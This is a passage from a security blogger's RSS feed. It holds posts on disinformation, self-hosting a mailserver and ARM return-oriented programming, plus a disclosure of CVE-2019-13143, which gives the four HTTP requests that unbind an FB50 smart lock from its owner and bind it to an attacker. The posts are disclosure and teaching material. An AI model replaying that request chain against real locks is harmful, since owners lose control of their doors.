 493to my Google Keyboard to aid in my familiarization of the alphabet. I&#8217;ve added the <code>RU</code>
 494layout to my keyboard map too:</p>
 495
 496<pre><code>setxkbmap -option 'grp:alt_shift_toggle' -layout us,ru
 497</code></pre>
 498
 499<p>With that ends my weekly update, and I&#8217;ll see you next week!</p>
 500]]></description><link>https://icyphox.sh/blog/2019-09-17</link><pubDate>Tue, 17 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/2019-09-17</guid></item><item><title>Disinformation demystified</title><description><![CDATA[<p>As with the disambiguation of any word, let&#8217;s start with its etymology and definiton.
 501According to <a href="https://en.wikipedia.org/wiki/Disinformation">Wikipedia</a>,
 502<em>disinformation</em> has been borrowed from the Russian word &#8212; <em>dezinformatisya</em> (дезинформа́ция),
 503derived from the title of a KGB black propaganda department.</p>
 504
 505<blockquote>
 506  <p>Disinformation is false information spread deliberately to deceive.</p>
 507</blockquote>
 508
 509<p>To fully understand disinformation, especially in the modern age, we need to understand the
 510key factors of any successful disinformation operation:</p>
 511
 512<ul>
 513<li>creating disinformation (what)</li>
 514<li>the motivation behind the op, or its end goal (why)</li>
 515<li>the medium used to disperse the falsified information (how)</li>
 516<li>the actor (who)</li>
 517</ul>
 518
 519<p>At the end, we&#8217;ll also look at how you can use disinformation techniques to maintain OPSEC.</p>
 520
 521<p>In order to break monotony, I will also be using the terms &#8220;information operation&#8221;, or the shortened
 522forms &#8211; &#8220;info op&#8221; &amp; &#8220;disinfo&#8221;.</p>
 523
 524<h3 id="creating-disinformation">Creating disinformation</h3>
 525
 526<p>Crafting or creating disinformation is by no means a trivial task. Often, the quality
 527of any disinformation sample is a huge indicator of the level of sophistication of the
 528actor involved, i.e. is it a 12 year old troll or a nation state?</p>
 529
 530<p>Well crafted disinformation always has one primary characteristic &#8212; &#8220;plausibility&#8221;.
 531The disinfo must sound reasonable. It must induce the notion it&#8217;s <em>likely</em> true. 
 532To achieve this, the target &#8212; be it an individual, a specific demographic or an entire
 533nation &#8212; must be well researched. A deep understanding of the target&#8217;s culture, history,
 534geography and psychology is required. It also needs circumstantial and situational awareness,
 535of the target.</p>
 536
 537<p>There are many forms of disinformation. A few common ones are staged videos / photographs, 
 538recontextualized videos / photographs, blog posts, news articles &amp; most recently &#8212; deepfakes.</p>
 539
 540<p>Here&#8217;s a tweet from <a href="https://twitter.com/thegrugq">the grugq</a>, showing a case of recontextualized
 541imagery:</p>
 542
 543<blockquote class="twitter-tweet" data-dnt="true" data-theme="dark" data-link-color="#00ffff">
 544<p lang="en" dir="ltr">Disinformation.
 545<br><br>
 546The content of the photo is not fake. The reality of what it captured is fake. The context it’s placed in is fake. The picture itself is 100% authentic. Everything, except the photo itself, is fake.
 547<br><br>Recontextualisation as threat vector. 
 548<a href="https://t.co/Pko3f0xkXC">pic.twitter.com/Pko3f0xkXC</a>
 549</p>&mdash; thaddeus e. grugq (@thegrugq) 
 550<a href="https://twitter.com/thegrugq/status/1142759819020890113?ref_src=twsrc%5Etfw">June 23, 2019</a>
 551</blockquote>
 552
 553<script async src="https://platform.twitter.com/widgets.js" charset="utf-8"></script> 
 554
 555<h3 id="motivations-behind-an-information-operation">Motivations behind an information operation</h3>
 556
 557<p>I like to broadly categorize any info op as either proactive or reactive. 
 558Proactively, disinformation is spread with the desire to influence the target
 559either before or during the occurence of an event. This is especially observed
 560during elections.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup>
 561In offensive information operations, the target&#8217;s psychological state can be affected by
 562spreading <strong>fear, uncertainty &amp; doubt</strong>, or FUD for short.</p>
 563
 564<p>Reactive disinformation is when the actor, usually a nation state in this case,
 565screws up and wants to cover their tracks. A fitting example of this is the case
 566of Malaysian Airlines Flight 17 (MH17), which was shot down while flying over 
 567eastern Ukraine. This tragic incident has been attributed to Russian-backed 
 568separatists.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> 
 569Russian media is known to have desseminated a number of alternative &amp; some even
 570conspiratorial theories<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, in response. The number grew as the JIT&#8217;s (Dutch-lead Joint
 571Investigation Team) investigations pointed towards the separatists. 
 572The idea was to <strong>muddle the information</strong> space with these theories, and as a result,
 573potentially correct information takes a credibility hit.</p>
 574
 575<p>Another motive for an info op is to <strong>control the narrative</strong>. This is often seen in use
 576in totalitarian regimes; when the government decides what the media portrays to the
 577masses. The ongoing Hong Kong protests is a good example.<sup class="footnote-ref" id="fnref-4"><a href="#fn-4">4</a></sup> According to <a href="https://www.npr.org/2019/08/14/751039100/china-state-media-present-distorted-version-of-hong-kong-protests">NPR</a>:</p>
 578
 579<blockquote>
 580  <p>Official state media pin the blame for protests on the &#8220;black hand&#8221; of foreign interference, 
 581  namely from the United States, and what they have called criminal Hong Kong thugs.
 582  A popular conspiracy theory posits the CIA incited and funded the Hong Kong protesters, 
 583  who are demanding an end to an extradition bill with China and the ability to elect their own leader.
 584  Fueling this theory, China Daily, a state newspaper geared toward a younger, more cosmopolitan audience, 
 585  this week linked to a video purportedly showing Hong Kong protesters using American-made grenade launchers to combat police.
 586  &#8230;</p>
 587</blockquote>
 588
 589<h3 id="media-used-to-disperse-disinfo">Media used to disperse disinfo</h3>
 590
 591<p>As seen in the above example of totalitarian governments, national TV and newspaper agencies
 592play a key role in influence ops en masse. It guarantees outreach due to the channel/paper&#8217;s
 593popularity.</p>
 594
 595<p>Twitter is another, obvious example. Due to the ease of creating accounts and the ability to
 596generate activity programmatically via the API, Twitter bots are the go-to choice today for 
 597info ops. Essentially, an actor attempts to create &#8220;discussions&#8221; amongst &#8220;users&#8221; (read: bots),
 598to push their narrative(s). Twitter also provides analytics for every tweet, enabling actors to
 599get realtime insights into what sticks and what doesn&#8217;t.
 600The use of Twitter was seen during the previously discussed MH17 case, where Russia employed its troll
 601factory &#8212; the <a href="https://en.wikipedia.org/wiki/Internet_Research_Agency">Internet Research Agency</a> (IRA)
 602to create discussions about alternative theories.</p>
 603
 604<p>In India, disinformation is often spread via YouTube, WhatsApp and Facebook. Political parties
 605actively invest in creating group chats to spread political messages and memes. These parties
 606have volunteers whose sole job is to sit and forward messages.
 607Apart from political propaganda, WhatsApp finds itself as a medium of fake news. In most cases,
 608this is disinformation without a motive, or the motive is hard to determine simply because
 609the source is impossible to trace, lost in forwards.<sup class="footnote-ref" id="fnref-5"><a href="#fn-5">5</a></sup>
 610This is a difficult problem to combat, especially given the nature of the target audience.</p>
 611
 612<h3 id="the-actors-behind-disinfo-campaigns">The actors behind disinfo campaigns</h3>
 613
 614<p>I doubt this requires further elaboration, but in short:</p>
 615
 616<ul>
 617<li>nation states and their intelligence agencies</li>
 618<li>governments, political parties</li>
 619<li>other non/quasi-governmental groups</li>
 620<li>trolls</li>
 621</ul>
 622
 623<p>This essentially sums up the what, why, how and who of disinformation. </p>
 624
 625<h3 id="personal-opsec">Personal OPSEC</h3>
 626
 627<p>This is a fun one. Now, it&#8217;s common knowledge that
 628<strong>STFU is the best policy</strong>. But sometimes, this might not be possible, because
 629afterall inactivity leads to suspicion, and suspicion leads to scrutiny. Which might
 630lead to your OPSEC being compromised.
 631So if you really have to, you can feign activity using disinformation. For example,
 632pick a place, and throw in subtle details pertaining to the weather, local events
 633or regional politics of that place into your disinfo. Assuming this is Twitter, you can
 634tweet stuff like:</p>
 635
 636<ul>
 637<li>&#8220;Ugh, when will this hot streak end?!&#8221;</li>
 638<li>&#8220;Traffic wonky because of the Mardi Gras parade.&#8221;</li>
 639<li>&#8220;Woah, XYZ place is nice! Especially the fountains by ABC street.&#8221;</li>
 640</ul>
 641
 642<p>Of course, if you&#8217;re a nobody on Twitter (like me), this is a non-issue for you.</p>
 643
 644<p>And please, don&#8217;t do this:</p>
 645
 646<p><img src="/static/img/mcafeetweet.png" alt="mcafee opsecfail" /></p>
 647
 648<h3 id="conclusion">Conclusion</h3>
 649
 650<p>The ability to influence someone&#8217;s decisions/thought process in just one tweet is 
 651scary. There is no simple way to combat disinformation. Social media is hard to control.
 652Just like anything else in cyber, this too is an endless battle between social media corps
 653and motivated actors.</p>
 654
 655<p>A huge shoutout to Bellingcat for their extensive research in this field, and for helping
 656folks see the truth in a post-truth world.</p>
 657
 658<div class="footnotes">
 659<hr />
 660<ol>
 661<li id="fn-1">
 662<p><a href="https://www.vice.com/en_us/article/ev3zmk/an-expert-explains-the-many-ways-our-elections-can-be-hacked">This</a> episode of CYBER talks about election influence ops (features the grugq!).&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 663</li>
 664
 665<li id="fn-2">
 666<p>The <a href="https://www.bellingcat.com/category/resources/podcasts/">Bellingcat Podcast</a>&#8217;s season one covers the MH17 investigation in detail.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 667</li>
 668
 669<li id="fn-3">
 670<p><a href="https://en.wikipedia.org/wiki/Malaysia_Airlines_Flight_17#Conspiracy_theories">Wikipedia section on MH17 conspiracy theories</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 671</li>
 672
 673<li id="fn-4">
 674<p><a href="https://twitter.com/gdead/status/1171032265629032450">Chinese newspaper spreading disinfo</a>&#160;<a href="#fnref-4" class="footnoteBackLink" title="Jump back to footnote 4 in the text.">&#8617;</a></p>
 675</li>
 676
 677<li id="fn-5">
 678<p>Use an adblocker before clicking <a href="https://www.news18.com/news/tech/fake-whatsapp-message-of-child-kidnaps-causing-mob-violence-in-madhya-pradesh-2252015.html">this</a>.&#160;<a href="#fnref-5" class="footnoteBackLink" title="Jump back to footnote 5 in the text.">&#8617;</a></p>
 679</li>
 680</ol>
 681</div>
 682]]></description><link>https://icyphox.sh/blog/disinfo</link><pubDate>Tue, 10 Sep 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/disinfo</guid></item><item><title>Setting up my personal mailserver</title><description><![CDATA[<p>A mailserver was a long time coming. I&#8217;d made an attempt at setting one up
 683around ~4 years ago (ish), and IIRC, I quit when it came to DNS. And
 684I almost did this time too.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
 685
 686<p>For this attempt, I wanted a simpler approach. I recall how terribly
 687confusing Dovecot &amp; Postfix were to configure and hence I decided to look
 688for a containerized solution, that most importantly, runs on my cheap $5 
 689Digital Ocean VPS &#8212; 1 vCPU and 1 GB memory. Of which only around 500 MB
 690is actually available. So yeah, <em>pretty</em> tight.</p>
 691
 692<h3 id="whats-available">What&#8217;s available</h3>
 693
 694<p>Turns out, there are quite a few of these OOTB, ready to deply solutions.
 695These are the ones I came across:</p>
 696
 697<ul>
 698<li><p><a href="https://poste.io">poste.io</a>: Based on an &#8220;open core&#8221; model. The base install is open source 
 699and free (as in beer), but you&#8217;ll have to pay for the extra stuff.</p></li>
 700<li><p><a href="https://mailu.io">mailu.io</a>: Free software. Draws inspiration from poste.io, 
 701but ships with a web UI that I didn&#8217;t need. </p></li>
 702<li><p><a href="https://mailcow.email">mailcow.email</a>: These fancy domains are getting ridiculous. But more importantly
 703they need 2 GiB of RAM <em>plus</em> swap?! Nope.</p></li>
 704<li><p><a href="https://mailinabox.email">Mail-in-a-Box</a>: Unlike the ones above, not a Docker-based solution but definitely worth
 705a mention. It however, needs a fresh box to work with. A box with absolutely 
 706nothing else on it. I can&#8217;t afford to do that.</p></li>
 707<li><p><a href="https://github.com/tomav/docker-mailserver/">docker-mailserver</a>: <strong>The winner</strong>. </p></li>
 708</ul>
 709
 710<h3 id="so-docker-mailserver">So… <code>docker-mailserver</code></h3>
 711
 712<p>The first thing that caught my eye in the README:</p>
 713
 714<blockquote>
 715  <p>Recommended:</p>
 716  
 717  <ul>
 718  <li>1 CPU</li>
 719  <li>1GB RAM</li>
 720  </ul>
 721  
 722  <p>Minimum:</p>
 723  
 724  <ul>
 725  <li>1 CPU</li>
 726  <li>512MB RAM</li>
 727  </ul>
 728</blockquote>
 729
 730<p>Fantastic, I can somehow squeeze this into my existing VPS.
 731Setup was fairly simple &amp; the docs are pretty good. It employs a single
 732<code>.env</code> file for configuration, which is great.
 733However, I did run into a couple of hiccups here and there.</p>
 734
 735<p>One especially nasty one was <code>docker</code> / <code>docker-compose</code> running out
 736of memory.</p>
 737
 738<pre><code>Error response from daemon: cannot stop container: 2377e5c0b456: Cannot kill container 2377e5c0b456226ecaa66a5ac18071fc5885b8a9912feeefb07593638b9a40d1: OCI runtime state failed: runc did not terminate sucessfully: fatal error: runtime: out of memory
 739</code></pre>
 740
 741<p>But it eventually worked after a couple of attempts.</p>
 742
 743<p>The next thing I struggled with &#8212; DNS. Specifically, the with the step where
 744the DKIM keys are generated<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup>. The output under <br />
 745<code>config/opendkim/keys/domain.tld/mail.txt</code> <br />
 746isn&#8217;t exactly CloudFlare friendly; they can&#8217;t be directly copy-pasted into
 747a <code>TXT</code> record. </p>
 748
 749<p>This is what it looks like.</p>
 750
 751<pre><code>mail._domainkey IN  TXT ( "v=DKIM1; h=sha256; k=rsa; "
 752      "p=&lt;key&gt;"
 753      "&lt;more key&gt;" )  ; ----- DKIM key mail for icyphox.sh
 754</code></pre>
 755
 756<p>But while configuring the record, you set &#8220;Type&#8221; to <code>TXT</code>, &#8220;Name&#8221; to <code>mail._domainkey</code>,
 757and the &#8220;Value&#8221; to what&#8217;s inside the parenthesis <code>(  )</code>, <em>removing</em> the quotes <code>""</code>. 
 758Also remove the part that appears to be a comment <code>; ----- ...</code>.</p>
 759
 760<p>To simplify debugging DNS issues later, it&#8217;s probably a good idea to
 761point to your mailserver using a subdomain like <code>mail.domain.tld</code> using an 
 762<code>A</code> record.
 763You&#8217;ll then have to set an <code>MX</code> record with the &#8220;Name&#8221; as <code>@</code> (or whatever your DNS provider
 764uses to denote the root domain) and the &#8220;Value&#8221; to <code>mail.domain.tld</code>.
 765And finally, the <code>PTR</code> (pointer record, I think), which is the reverse of 
 766your <code>A</code> record &#8212; &#8220;Name&#8221; as the server IP and &#8220;Value&#8221; as <code>mail.domain.tld</code>.
 767I learnt this part the hard way, when my outgoing email kept getting
 768rejected by Tutanota&#8217;s servers.</p>
 769
 770<p>Yet another hurdle &#8212; SSL/TLS certificates. This isn&#8217;t very properly
 771documented, unless you read through the <a href="https://github.com/tomav/docker-mailserver/wiki/Installation-Examples">wiki</a>
 772and look at an example. In short, install <code>certbot</code>, have port 80 free,
 773and run </p>
 774
 775<div class="codehilite"><pre><span></span><code>$ certbot certonly --standalone -d mail.domain.tld
 776</code></pre></div>
 777
 778<p>Once that&#8217;s done, edit the <code>docker-compose.yml</code> file to mount <code>/etc/letsencrypt</code> in 
 779the container, something like so:</p>
 780
 781<div class="codehilite"><pre><span></span><code><span class="nn">...</span>
 782
 783<span class="nt">volumes</span><span class="p">:</span>
 784    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">maildata:/var/mail</span>
 785    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">mailstate:/var/mail-state</span>
 786    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">./config/:/tmp/docker-mailserver/</span>
 787    <span class="p p-Indicator">-</span> <span class="l l-Scalar l-Scalar-Plain">/etc/letsencrypt:/etc/letsencrypt</span>
 788
 789<span class="nn">...</span>
 790</code></pre></div>
 791
 792<p>With this done, you shouldn&#8217;t have mail clients complaining about 
 793wonky certs for which you&#8217;ll have to add an exception manually.</p>
 794
 795<h3 id="why-would-you">Why would you…?</h3>
 796
 797<p>There are a few good reasons for this:</p>
 798
 799<h4 id="privacy">Privacy</h4>
 800
 801<p>No really, this is <em>the</em> best choice for truly private
 802email. Not ProtonMail, not Tutanota. Sure, they claim so and I don&#8217;t 
 803dispute it. Quoting Drew Devault<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>,</p>
 804
 805<blockquote>
 806  <p>Truly secure systems do not require you to trust the service provider.</p>
 807</blockquote>
 808
 809<p>But you have to <em>trust</em> ProtonMail. They run open source software, but
 810how can you really be sure that it isn&#8217;t a backdoored version of it?</p>
 811
 812<p>When you host your own mailserver, you truly own your email without having to rely on any
 813third-party.
 814This isn&#8217;t an attempt to spread FUD. In the end, it all depends on your
 815threat model™.</p>
 816
 817<h4 id="decentralization">Decentralization</h4>
 818
 819<p>Email today is basically run by Google. Gmail has over 1.2 <em>billion</em>
 820active users. That&#8217;s obscene.
 821Email was designed to be decentralized but big corps swooped in and
 822made it a product. They now control your data, and it isn&#8217;t unknown that
 823Google reads your mail. This again loops back to my previous point, privacy.
 824Decentralization guarantees privacy. When you control your mail, you subsequently
 825control who reads it.</p>
 826
 827<h4 id="personalization">Personalization</h4>
 828
 829<p>Can&#8217;t ignore this one. It&#8217;s cool to have a custom email address to flex.</p>
 830
 831<p><code>x@icyphox.sh</code> vs <code>gabe.newell4321@gmail.com</code></p>
 832
 833<p>Pfft, this is no competition.</p>
 834
 835<div class="footnotes">
 836<hr />
 837<ol>
 838<li id="fn-1">
 839<p>My <a href="https://twitter.com/icyphox/status/1161648321548566528">tweet</a> of frustration.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
 840</li>
 841
 842<li id="fn-2">
 843<p><a href="https://github.com/tomav/docker-mailserver#generate-dkim-keys">Link</a> to step in the docs.&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
 844</li>
 845
 846<li id="fn-3">
 847<p>From his <a href="https://drewdevault.com/2018/08/08/Signal.html">article</a> on why he doesn&#8217;t trust Signal.&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
 848</li>
 849</ol>
 850</div>
 851]]></description><link>https://icyphox.sh/blog/mailserver</link><pubDate>Thu, 15 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/mailserver</guid></item><item><title>Picking the FB50 smart lock (CVE-2019-13143)</title><description><![CDATA[<p>(<em>originally posted at <a href="http://blog.securelayer7.net/fb50-smart-lock-vulnerability-disclosure">SecureLayer7&#8217;s Blog</a>, with my edits</em>)</p>
 852
 853<h3 id="the-lock">The lock</h3>
 854
 855<p>The lock in question is the FB50 smart lock, manufactured by Shenzhen
 856Dragon Brother Technology Co. Ltd. This lock is sold under multiple brands
 857across many ecommerce sites, and has over, an estimated, 15k+ users.</p>
 858
 859<p>The lock pairs to a phone via Bluetooth, and requires the OKLOK app from
 860the Play/App Store to function. The app requires the user to create an
 861account before further functionality is available. 
 862It also facilitates configuring the fingerprint,
 863and unlocking from a range via Bluetooth.</p>
 864
 865<p>We had two primary attack surfaces we decided to tackle — Bluetooth (BLE)
 866and the Android app.</p>
 867
 868<h3 id="via-bluetooth-low-energy-ble">Via Bluetooth Low Energy (BLE)</h3>
 869
 870<p>Android phones have the ability to capture Bluetooth (HCI) traffic
 871which can be enabled under Developer Options under Settings. We made 
 872around 4 &#8220;unlocks&#8221; from the Android phone, as seen in the screenshot.</p>
 873
 874<p><img src="/static/img/bt_wireshark.png" alt="wireshark packets" /></p>
 875
 876<p>This is the value sent in the <code>Write</code> request:</p>
 877
 878<p><img src="/static/img/bt_ws_value.png" alt="wireshark write req" /></p>
 879
 880<p>We attempted replaying these requests using <code>gattool</code> and <code>gattacker</code>,
 881but that didn&#8217;t pan out, since the value being written was encrypted.<sup class="footnote-ref" id="fnref-1"><a href="#fn-1">1</a></sup></p>
 882
 883<h3 id="via-the-android-app">Via the Android app</h3>
 884
 885<p>Reversing the app using <code>jd-gui</code>, <code>apktool</code> and <code>dex2jar</code> didn&#8217;t get us too
 886far since most of it was obfuscated. Why bother when there exists an 
 887easier approach &#8211; BurpSuite.</p>
 888
 889<p>We captured and played around with a bunch of requests and responses,
 890and finally arrived at a working exploit chain.</p>
 891
 892<h3 id="the-exploit">The exploit</h3>
 893
 894<p>The entire exploit is a 4 step process consisting of authenticated 
 895HTTP requests:</p>
 896
 897<ol>
 898<li>Using the lock&#8217;s MAC (obtained via a simple Bluetooth scan in the 
 899vicinity), get the barcode and lock ID</li>
 900<li>Using the barcode, fetch the user ID</li>
 901<li>Using the lock ID and user ID, unbind the user from the lock</li>
 902<li>Provide a new name, attacker&#8217;s user ID and the MAC to bind the attacker
 903to the lock</li>
 904</ol>
 905
 906<p>This is what it looks like, in essence (personal info redacted).</p>
 907
 908<h4 id="request-1">Request 1</h4>
 909
 910<pre><code>POST /oklock/lock/queryDevice
 911{"mac":"XX:XX:XX:XX:XX:XX"}
 912</code></pre>
 913
 914<p>Response:</p>
 915
 916<pre><code>{
 917   "result":{
 918      "alarm":0,
 919      "barcode":"&lt;BARCODE&gt;",
 920      "chipType":"1",
 921      "createAt":"2019-05-14 09:32:23.0",
 922      "deviceId":"",
 923      "electricity":"95",
 924      "firmwareVersion":"2.3",
 925      "gsmVersion":"",
 926      "id":&lt;LOCK ID&gt;,
 927      "isLock":0,
 928      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
 929      "lockPwd":"000000",
 930      "mac":"XX:XX:XX:XX:XX:XX",
 931      "name":"lock",
 932      "radioName":"BlueFPL",
 933      "type":0
 934   },
 935   "status":"2000"
 936}
 937</code></pre>
 938
 939<h4 id="request-2">Request 2</h4>
 940
 941<pre><code>POST /oklock/lock/getDeviceInfo
 942
 943{"barcode":"https://app.oklok.com.cn/app.html?id=&lt;BARCODE&gt;"}
 944</code></pre>
 945
 946<p>Response:</p>
 947
 948<pre><code>   "result":{
 949      "account":"email@some.website",
 950      "alarm":0,
 951      "barcode":"&lt;BARCODE&gt;",
 952      "chipType":"1",
 953      "createAt":"2019-05-14 09:32:23.0",
 954      "deviceId":"",
 955      "electricity":"95",
 956      "firmwareVersion":"2.3",
 957      "gsmVersion":"",
 958      "id":&lt;LOCK ID&gt;,
 959      "isLock":0,
 960      "lockKey":"69,59,58,0,26,6,67,90,73,46,20,84,31,82,42,95",
 961      "lockPwd":"000000",
 962      "mac":"XX:XX:XX:XX:XX:XX",
 963      "name":"lock",
 964      "radioName":"BlueFPL",
 965      "type":0,
 966      "userId":&lt;USER ID&gt;
 967   }
 968</code></pre>
 969
 970<h4 id="request-3">Request 3</h4>
 971
 972<pre><code>POST /oklock/lock/unbind
 973
 974{"lockId":"&lt;LOCK ID&gt;","userId":&lt;USER ID&gt;}
 975</code></pre>
 976
 977<h4 id="request-4">Request 4</h4>
 978
 979<pre><code>POST /oklock/lock/bind
 980
 981{"name":"newname","userId":&lt;USER ID&gt;,"mac":"XX:XX:XX:XX:XX:XX"}
 982</code></pre>
 983
 984<h3 id="thats-it-the-scary-stuff">That&#8217;s it! (&amp; the scary stuff)</h3>
 985
 986<p>You should have the lock transferred to your account. The severity of this
 987issue lies in the fact that the original owner completely loses access to
 988their lock. They can&#8217;t even &#8220;rebind&#8221; to get it back, since the current owner 
 989(the attacker) needs to authorize that. </p>
 990
 991<p>To add to that, roughly 15,000 user accounts&#8217; info are exposed via IDOR.
 992Ilja, a cool dude I met on Telegram, noticed locks named &#8220;carlock&#8221;, 
 993&#8220;garage&#8221;, &#8220;MainDoor&#8221;, etc.<sup class="footnote-ref" id="fnref-2"><a href="#fn-2">2</a></sup> This is terrifying.</p>
 994
 995<p><em>shudders</em></p>
 996
 997<h3 id="proof-of-concept">Proof of Concept</h3>
 998
 999<p><a href="https://twitter.com/icyphox/status/1158396372778807296">PoC Video</a></p>
1000
1001<p><a href="https://github.com/icyphox/pwnfb50">Exploit code</a></p>
1002
1003<h3 id="disclosure-timeline">Disclosure timeline</h3>
1004
1005<ul>
1006<li><strong>26th June, 2019</strong>: Issue discovered at SecureLayer7, Pune</li>
1007<li><strong>27th June, 2019</strong>: Vendor notified about the issue</li>
1008<li><strong>2nd July, 2019</strong>: CVE-2019-13143 reserved</li>
1009<li>No response from vendor</li>
1010<li><strong>2nd August 2019</strong>: Public disclosure</li>
1011</ul>
1012
1013<h3 id="lessons-learnt">Lessons learnt</h3>
1014
1015<p><strong>DO NOT</strong>. Ever. Buy. A smart lock. You&#8217;re better off with the &#8220;dumb&#8221; ones
1016with keys. With the IoT plague spreading, it brings in a large attack surface
1017to things that were otherwise &#8220;unhackable&#8221; (try hacking a &#8220;dumb&#8221; toaster).</p>
1018
1019<p>The IoT security scene is rife with bugs from over 10 years ago, like
1020executable stack segments<sup class="footnote-ref" id="fnref-3"><a href="#fn-3">3</a></sup>, hardcoded keys, and poor development 
1021practices in general.</p>
1022
1023<p>Our existing threat models and scenarios have to be updated to factor 
1024in these new exploitation possibilities. This also broadens the playing 
1025field for cyber warfare and mass surveillance campaigns. </p>
1026
1027<h3 id="researcher-info">Researcher info</h3>
1028
1029<p>This research was done at <a href="https://securelayer7.net">SecureLayer7</a>, Pune, IN by:</p>
1030
1031<ul>
1032<li>Anirudh Oppiliappan (me)</li>
1033<li>S. Raghav Pillai (<a href="https://twitter.com/_vologue">@_vologue</a>)</li>
1034<li>Shubham Chougule (<a href="https://twitter.com/shubhamtc">@shubhamtc</a>)</li>
1035</ul>
1036
1037<div class="footnotes">
1038<hr />
1039<ol>
1040<li id="fn-1">
1041<p><a href="https://www.pentestpartners.com/security-blog/pwning-the-nokelock-api/">This</a> article discusses a similar smart lock, but they broke the encryption.&#160;<a href="#fnref-1" class="footnoteBackLink" title="Jump back to footnote 1 in the text.">&#8617;</a></p>
1042</li>
1043
1044<li id="fn-2">
1045<p>Thanks to Ilja Shaposhnikov (@drakylar).&#160;<a href="#fnref-2" class="footnoteBackLink" title="Jump back to footnote 2 in the text.">&#8617;</a></p>
1046</li>
1047
1048<li id="fn-3">
1049<p><a href="https://gsec.hitb.org/materials/sg2015/whitepapers/Lyon%20Yang%20-%20Advanced%20SOHO%20Router%20Exploitation.pdf">PDF</a>&#160;<a href="#fnref-3" class="footnoteBackLink" title="Jump back to footnote 3 in the text.">&#8617;</a></p>
1050</li>
1051</ol>
1052</div>
1053]]></description><link>https://icyphox.sh/blog/fb50</link><pubDate>Mon, 05 Aug 2019 00:00:00 +0000</pubDate><guid>https://icyphox.sh/blog/fb50</guid></item><item><title>Return Oriented Programming on ARM (32-bit)</title><description><![CDATA[<p>Before we start <em>anything</em>, you’re expected to know the basics of ARM
1054assembly to follow along. I highly recommend
1055<a href="https://twitter.com/fox0x01">Azeria’s</a> series on <a href="https://azeria-labs.com/writing-arm-assembly-part-1/">ARM Assembly
1056Basics</a>. Once you’re
1057comfortable with it, proceed with the next bit — environment setup.</p>
1058
1059<h3 id="setup">Setup</h3>
1060
1061<p>Since we’re working with the ARM architecture, there are two options to go
1062forth with: </p>
1063
1064<ol>
1065<li>Emulate — head over to <a href="https://www.qemu.org/download/">qemu.org/download</a> and install QEMU. 
1066And then download and extract the ARMv6 Debian Stretch image from one of the links <a href="https://blahcat.github.io/qemu/">here</a>.
1067The scripts found inside should be self-explanatory.</li>
1068<li>Use actual ARM hardware, like an RPi.</li>
1069</ol>
1070
1071<p>For debugging and disassembling, we’ll be using plain old <code>gdb</code>, but you
1072may use <code>radare2</code>, IDA or anything else, really. All of which can be
1073trivially installed.</p>
1074
1075<p>And for the sake of simplicity, disable ASLR:</p>
1076
1077<div class="codehilite"><pre><span></span><code>$ <span class="nb">echo</span> <span class="m">0</span> &gt; /proc/sys/kernel/randomize_va_space
1078</code></pre></div>
1079
1080<p>Finally, the binary we’ll be using in this exercise is <a href="https://twitter.com/bellis1000">Billy Ellis’</a>
1081<a href="/static/files/roplevel2.c">roplevel2</a>. </p>
1082
1083<p>Compile it:</p>
1084
1085<div class="codehilite"><pre><span></span><code>$ gcc roplevel2.c -o rop2
1086</code></pre></div>
1087
1088<p>With that out of the way, here’s a quick run down of what ROP actually is.</p>
1089
1090<h3 id="a-primer-on-rop">A primer on ROP</h3>
1091
1092<p>ROP or Return Oriented Programming is a modern exploitation technique that’s
1093used to bypass protections like the <strong>NX bit</strong> (no-execute bit) and <strong>code sigining</strong>.
1094In essence, no code in the binary is actually modified and the entire exploit
1095is crafted out of pre-existing artifacts within the binary, known as <strong>gadgets</strong>.</p>
1096
1097<p>A gadget is essentially a small sequence of code (instructions), ending with
1098a <code>ret</code>, or a return instruction. In our case, since we’re dealing with ARM
1099code, there is no <code>ret</code> instruction but rather a <code>pop {pc}</code> or a <code>bx lr</code>.
1100These gadgets are <em>chained</em> together by jumping (returning) from one onto the other
1101to form what’s called as a <strong>ropchain</strong>. At the end of a ropchain,
1102there’s generally a call to <code>system()</code>, to acheive code execution.</p>
1103
1104<p>In practice, the process of executing a ropchain is something like this:</p>
1105
1106<ul>
1107<li>confirm the existence of a stack-based buffer overflow</li>
1108<li>identify the offset at which the instruction pointer gets overwritten</li>
1109<li>locate the addresses of the gadgets you wish to use</li>
1110<li>craft your input keeping in mind the stack’s layout, and chain the addresses
1111of your gadgets</li>
1112</ul>
1113
1114<p><a href="https://twitter.com/LiveOverflow">LiveOverflow</a> has a <a href="https://www.youtube.com/watch?v=zaQVNM3or7k&amp;list=PLhixgUqwRTjxglIswKp9mpkfPNfHkzyeN&amp;index=46&amp;t=0s">beautiful video</a> where he explains ROP using “weird machines”. 
1115Check it out, it might be just what you needed for that “aha!” moment :)</p>
1116
1117<p>Still don’t get it? Don’t fret, we’ll look at <em>actual</em> exploit code in a bit and hopefully
1118that should put things into perspective.</p>
1119
1120<h3 id="exploring-our-binary">Exploring our binary</h3>
1121
1122<p>Start by running it, and entering any arbitrary string. On entering a fairly
1123large string, say, “A” × 20, we
1124see a segmentation fault occur.</p>
1125
1126<p><img src="/static/img/string_segfault.png" alt="string and segfault" /></p>
1127
